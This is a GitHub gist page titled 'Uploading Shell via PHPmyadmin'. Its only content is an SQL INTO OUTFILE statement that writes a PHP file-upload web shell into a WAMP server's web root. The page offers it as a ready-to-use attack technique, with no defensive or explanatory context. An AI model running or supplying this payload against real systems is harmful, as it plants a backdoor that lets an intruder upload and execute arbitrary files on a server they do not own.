Skip to content

Instantly share code, notes, and snippets.

@BababaBlue
Last active October 13, 2024 21:09
Show Gist options
  • Save BababaBlue/71d85a7182993f6b4728c5d6a77e669f to your computer and use it in GitHub Desktop.
Save BababaBlue/71d85a7182993f6b4728c5d6a77e669f to your computer and use it in GitHub Desktop.
Uploading Shell via PHPmyadmin
SELECT
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment